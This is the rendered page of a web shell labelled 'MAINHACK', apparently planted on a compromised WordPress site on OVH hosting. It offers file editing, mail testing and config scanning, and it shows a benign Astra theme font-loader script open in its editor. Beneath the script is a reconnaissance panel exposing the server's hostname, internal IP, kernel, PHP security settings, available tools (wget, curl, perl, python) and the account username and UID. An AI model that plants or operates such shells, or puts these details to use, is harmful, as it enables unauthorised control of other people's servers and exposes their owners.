[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: customizer-google-fonts.js
/** * Customizer Google Fonts AJAX Loader * * @package Astra * @since 4.11.13 */ (function ($) { 'use strict'; /** * Re-initialize font weights for all typography controls */ function reinitializeFontWeights() { if (typeof wp === 'undefined' || typeof wp.customize === 'undefined' || typeof AstTypography === 'undefined') { return; } $('.customize-control-ast-font-family select').each(function () { var link = $(this).data('customize-setting-link'); var weight = $(this).data('connected-control'); if (weight && link && wp.customize(link)) { AstTypography._setFontWeightOptions.apply(wp.customize(link), [true]); } }); } /** * Load Google Fonts via AJAX */ function loadGoogleFonts() { $.ajax({ type: 'POST', url: ajaxurl, data: { action: 'astra_load_google_fonts', nonce: astraCustomizer.customizer_nonce }, success: function (response) { if (response.success && response.data) { var fontData = response.data.data || response.data; AstFontFamilies.google = fontData.google || {}; AstFontFamilies.custom = fontData.custom || AstFontFamilies.custom || {}; AstFontFamilies.googleLoaded = true; // Update React component's font data if (typeof window.AstraBuilderCustomizerData !== 'undefined') { window.AstraBuilderCustomizerData.googleFonts = fontData.google || {}; } $(document).trigger('astraGoogleFontsLoaded', [AstFontFamilies]); reinitializeFontWeights(); } }, error: function () { // Fallback: try once more with $.post $.post(ajaxurl, { action: 'astra_load_google_fonts', nonce: astraCustomizer.customizer_nonce }, function (response) { if (response.success && response.data) { var fontData = response.data.data || response.data; AstFontFamilies.google = fontData.google || {}; AstFontFamilies.custom = fontData.custom || AstFontFamilies.custom || {}; AstFontFamilies.googleLoaded = true; // Update React component's font data if (typeof window.AstraBuilderCustomizerData !== 'undefined') { window.AstraBuilderCustomizerData.googleFonts = fontData.google || {}; } $(document).trigger('astraGoogleFontsLoaded', [AstFontFamilies]); reinitializeFontWeights(); } }); } }); } // Initialize when customizer is ready wp.customize.bind('ready', function () { if (typeof AstFontFamilies !== 'undefined' && AstFontFamilies.googleLoaded === false) { setTimeout(loadGoogleFonts, 100); } }); })(jQuery);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697